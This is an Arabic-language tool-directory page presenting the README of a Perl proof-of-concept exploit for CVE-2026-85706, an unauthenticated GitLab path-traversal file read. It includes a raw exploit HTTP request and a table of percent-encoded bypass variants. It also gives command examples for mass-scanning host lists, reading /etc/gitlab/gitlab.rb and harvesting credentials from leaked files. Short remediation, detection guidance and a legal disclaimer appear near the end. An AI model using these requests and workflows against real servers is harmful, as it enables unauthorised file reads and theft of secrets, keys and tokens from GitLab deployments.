Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85706 — Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد. | Kitploit
أدوات/GitHubGitHub/gabrielunknown/cve-2026-85706
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراقالفريق الأحمر
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد.

منذ 8س 39دلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-85706 — قراءة ملفات عشوائية بدون مصادقة في GitLab

CVSS GitLab License MITRE

لاختبار الاختراق المصرّح به وعمليات الفريق الأحمر فقط.
الاستخدام غير المصرّح به يُعدّ جريمة جنائية. راجع الإشعار القانوني.


نظرة عامة

CVE-2026-85706 هي ثغرة اجتياز مسار (path traversal) بتقييم CVSS 10.0 في إصدارات GitLab Community وEnterprise Editions، تتيح لمهاجم غير مُصادَق تمامًا قراءة ملفات عشوائية من نظام ملفات الخادم عبر طلب HTTP واحد. لا حاجة لبيانات اعتماد، ولا رمز، ولا تفاعل من المستخدم.

  • تاريخ الإفصاح: 10 سبتمبر 2026
  • أول استغلال مُلاحَظ: 11 سبتمبر 2026 (خلال 6 ساعات من الإفصاح)
  • إضافة CISA KEV: 11 سبتمبر 2026
  • تم الإصلاح في: GitLab 19.1.8 / 19.2.6 / 19.3.2

الإصدارات المتأثرة

الفرعالنطاق المعرّض للثغرةتم الإصلاح في
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

التحليل التقني

سياق البنية المعمارية

يتكوّن مكدّس HTTP في GitLab من ثلاث طبقات:

root@kitploit:~
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

يعمل Workhorse كوسيط عكسي ذكي: بالنسبة لبعض نقاط نهاية "الرفع" (عمليات commit في المستودع، عمليات الملفات)، يقرأ أجسام الطلبات متعددة الأجزاء (multipart)، ويحفظ بيانات الملف على القرص، ويعيد كتابة الطلب قبل تمريره إلى Puma. والأهم أنه يُرفق ترويسة JWT (Gitlab-Workhorse-Api-Request) بكل طلب يمرّره. ثم يتحقق Rails من صحة هذا JWT (عبر require_gitlab_workhorse!) قبل تنفيذ أي منطق للمعالج.

السبب الجذري — عدم تطابق فك ترميز المسار على ثلاث طبقات

الطبقة 1 — مطابقة مسار Workhorse:
يطابق Workhorse مسارات الطلبات باستخدام تعبير نمطي (regex) مُجمَّع يعمل على سلسلة البايتات الخام المُرمَّزة نسبيًا (percent-encoded). ولا يفكّ ترميز تسلسلات %XX قبل المطابقة.

الطبقة 2 — توجيه Puma/Rack:
يفكّ Puma ترميز تسلسلات %XX قبل أن يوجّه Grape الطلب. لذا فإن طلبًا إلى /repository/%63ommits يُفكّ ترميزه إلى /repository/commits ويُوجَّه إلى CommitsController.

الطبقة 3 — قراءة الملف قبل المصادقة:
بمجرد الوصول إلى معالج Rails (الذي يُبلَغ دون JWT الخاص بـ Workhorse لأن Workhorse لم يطابق الطلب أبدًا)، يقرأ المعالج params[:file][:path] من سلسلة الاستعلام ويستدعي:

root@kitploit:~
File.open(params[:file][:path])   # ← happens BEFORE authentication

حيلة التجاوز

من خلال ترميز حرف واحد نسبيًا في مقطع مسار ثابت، يمرّ طلب المهاجم متجاوزًا Workhorse دون اكتشافه:

المقطعالأصليصيغة التجاوزالحرف المُرمَّز
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(أي)commitscommits/شرطة مائلة لاحقة
(أي)commitscommits.jsonلاحقة Grape

آلية تسريب المحتوى

بعد فتح الملف، يُسرَّب المحتوى عبر محلّل سلسلة الاستعلام في Rack:

root@kitploit:~
Rack::Utils.parse_nested_query(File.read(path))

إذا احتوى الملف على % غير متبوع برقمين سداسيين عشريين صالحين (وهو أمر شائع في ملفات إعدادات Ruby وCI YAML والسجلات وغيرها)، فإن Rack يُطلق:

root@kitploit:~
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

يحتوي جسم استجابة 400 هذه على محتوى الملف الخام حتى البايت المُخالف بما في ذلك هو نفسه — مما يكشف محتويات الملف للمُتصل غير المُصادَق.

الملفات التي لا تحتوي على تسلسلات % قابلة للاستغلال (مثل /etc/passwd النظيف) تُعيد 401 أو خطأ في التحقق من المعاملات بعد القراءة: وهذا يعمل كـ أوراكل لوجود الملف (فالقراءة حدثت رغم ذلك قبل المصادقة).

بنية طلب الاستغلال

root@kitploit:~
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

تعيين MITRE ATT&CK

التقنيةالمعرّفالتنفيذ في هذا PoC
اكتشاف الملفات والمجلداتT1083وضع --scan يفحص 38 مسارًا حساسًا على الخادم
بيانات الاعتماد في الملفاتT1552.001--harvest يستخرج المفاتيح/الرموز/كلمات المرور من المحتوى المُسرَّب

التثبيت

المتطلبات

الوحدةالحزمةالدور
LWP::UserAgentlibwww-perlعميل HTTP (إلزامي)
LWP::Protocol::httpslibwww-perlدعم HTTPS (إلزامي)
URI::Escapeliburi-perlترميز سلسلة الاستعلام (إلزامي)
Term::ANSIColorlibterm-ansicolor-perlإخراج ملوّن (اختياري)
JSONlibjson-perlوضع إخراج JSON (اختياري)
root@kitploit:~
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

الاستخدام

root@kitploit:~
Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

الفحص السريع مقابل الكامل

سريع (افتراضي)كامل (--full)
الطلبات≤9 (1 تحضيري + ≤4×2)27+
الخروج المبكرنعم — يتوقف عند أول فرق مؤكَّدلا — يفحص جميع الصيغ الـ22
معلومات الإصدارلانعم
صيغ التجاوز4 تمثيلية من Files APIجميع الـ22 (Commits + Files API)
الأفضل لـالاستطلاع السريع، قوائم المضيفين الكبيرةتقارير اختبار الاختراق، التحضير لـ --file/--scan

خط أنابيب الفحص السريع:

  1. GET /api/v4/version — إمكانية الوصول + تلميح GitLab
  2. لكل صيغة من صيغ تجاوز Files API الأربع: فحص /etc/hostname + canary فريد
  3. canary → 'local file not present' ∧ hostname ≠ canary → مُعرَّض للثغرة (خروج فوري)
  4. استُنفدت جميع الصيغ دون فرق → غير مُعرَّض للثغرة

خط أنابيب الفحص الكامل (--full):

  1. كشف GitLab + بصمة الإصدار
  2. فحص تحكّمي (خط أساس Workhorse)
  3. جميع صيغ التجاوز الـ22 × مسار canary
  4. تأكيد تفاضلي بأفضل صيغة مؤكَّدة

--project-id وأوضاع الفحص

يمكن استخدام علم --project-id في كل وضع، بما في ذلك --check و--check-host-list. فهم التفاعل:

مجموعة التجاوزالصيغالاعتماد على معرّف المشروع
Files API (%66iles, %46iles, re%70ository/files, …)14لا يوجد — قراءة الملف تسبق التحقق من المشروع بحكم تصميم الثغرة. أي معرّف (حتى غير الموجود) يُنتج الإشارة الصحيحة.
Commits API (%63ommits, %43ommits, repository/commits/, …)8مطلوب — يجب أن يكون المشروع موجودًا وقابلًا للقراءة مجهولًا. يُعيد project-gate إن لم يكن كذلك.

إرشادات عملية:

  • --check (سريع): يستخدم صيغ Files API فقط → معرّف المشروع غير ذي صلة.
  • --check --full: يختبر جميع الصيغ الـ22. إذا كنت تعرف معرّف مشروع عام، مرّر --project-id <N> لتأكيد صيغ Commits API أيضًا.
  • --check-host-list: نادرًا ما يُقابل --project-id واحد مشروعًا عامًا عبر جميع المضيفين. احذفه.

أمثلة

root@kitploit:~
# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full

# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt

# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full

# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json

# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt

# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd

# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest

# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt

# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json

# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v

أحكام الاستجابة

الحكمالمعنى
leakمحتوى الملف مُرتجَع في جسم الاستجابة عبر خطأ تحليل Rack
leak-fragmentارتجاع جزئي للمحتوى عبر جزء من اسم المعامل
read-noechoHTTP 401 على مسار التجاوز — غامض: إما أن قراءة الملف حدثت قبل المصادقة (مُعرَّض للثغرة، محتوى نظيف بلا تسلسل % سيئ)، أو أن المصادقة تُفعَّل قبل القراءة (خادم مُرقَّع). استخدم --check للتأكيد عبر الفرق التفاضلي
missingنجح مسار التجاوز؛ وُصل إلى المعالج؛ الملف غير موجود أو غير قابل للقراءة
rewriteاعترض Workhorse هذه الصيغة من المسار — فشل التجاوز
project-gateرفض Commits API المشروع؛ جرّب صيغ Files API
norouteلم يوجّه Rails هذا المتغيّر من المسار

التحسينات على PoC الأصلي بلغة Python

الميزةPython PoCهذا Perl PoC
متغيّرات مسار التجاوز615
فحص الملفات بالجملة (T1083)✗✓ قائمة كلمات مدمجة بـ38 مسارًا
استخراج بيانات الاعتماد (T1552.001)✗✓ 22 نمطًا لبيانات الاعتماد
إخراج JSON✗✓ --json
إخراج إلى ملف / tee✗✓ --output
رسائل أوراكل وجود الملفأساسيةصريحة، مرمّزة بالألوان
منطق إعادة المحاولة✗✓ --retries قابل للتهيئة
تأخير لكل طلب✗✓ --delay (ثوانٍ عشرية)
User-Agent مخصص✗✓ --user-agent
معرّفات namespace/project✗✓ ترميز تلقائي لـ / → %2F
الوضع المطوّل✗✓ --verbose

المعالجة

  1. الترقيع فورًا: الترقية إلى GitLab 19.1.8 أو 19.2.6 أو 19.3.2.
  2. على المدى القصير: تقييد الوصول العام إلى نسخة GitLab عبر ضوابط الشبكة.
  3. تدوير بيانات الاعتماد: بعد الترقيع، دوّر جميع الأسرار التي قد تكون تعرّضت للكشف:
    • secret_key_base وotp_key_base في gitlab.rb
    • كلمات مرور قواعد البيانات
    • مفاتيح SSH (/home/git/.ssh/، /root/.ssh/)
    • متغيّرات CI/CD ورموز تسجيل runners
    • رموز النشر ورموز الوصول الشخصية

الكشف

ابحث عن طلبات POST أو PUT إلى مسارات /api/v4/projects/*/repository/ التي تحتوي على:

  • مقاطع ثابتة مُرمَّزة نسبيًا (%63، %43، %72، %70، %66، %46، إلخ)
  • معامل استعلام file.path
  • شرطة مائلة لاحقة أو لاحقة صيغة .json على نقطتي نهاية commits أو files

المراجع

  • CVE Record — cve.org
  • GitLab Patch Release 19.3.2
  • The Hacker News — CVSS 10 coverage
  • Forkast News — Technical breakdown
  • Security Affairs — Active exploitation
  • Python PoC — guneykabel
  • MITRE T1083 — File and Directory Discovery
  • MITRE T1552.001 — Credentials In Files

الإشعار القانوني

تُقدَّم هذه الأداة حصرًا من أجل:

  • مهام اختبار الاختراق المصرّح بها (تتطلب إذنًا كتابيًا)
  • عمليات الفريق الأحمر ضمن النطاق المتعاقد عليه
  • البحث الأمني في بيئات مختبرية معزولة ومُتحكَّم بها
  • مسابقات CTF (Capture The Flag)
  • الأغراض الدفاعية: فهم الثغرة لكشفها/التخفيف منها

الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها هو غير قانوني في كل الاختصاصات القضائية تقريبًا وقد يؤدي إلى الملاحقة الجنائية بموجب قوانين إساءة استخدام الحاسوب (CFAA، Computer Misuse Act، إلخ).

لا يتحمّل مؤلف هذه الأداة والمساهمون فيها أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.


الشكر والتقدير

  • PoC الأصلي بلغة Python: guneykabel — إثبات المفهوم الأولي الذي أظهر تقنية التجاوز الأساسية
  • إسناد CVE والإفصاح: فريق أمن GitLab
  • هذا PoC بلغة Perl: محرك كشف موسّع متعدد الصيغ، واستخراج بيانات الاعتماد، والفحص بالجملة، وإخراج JSON لخطوط الأنابيب، ومنطق التأكيد التفاضلي
تنزيل الأداة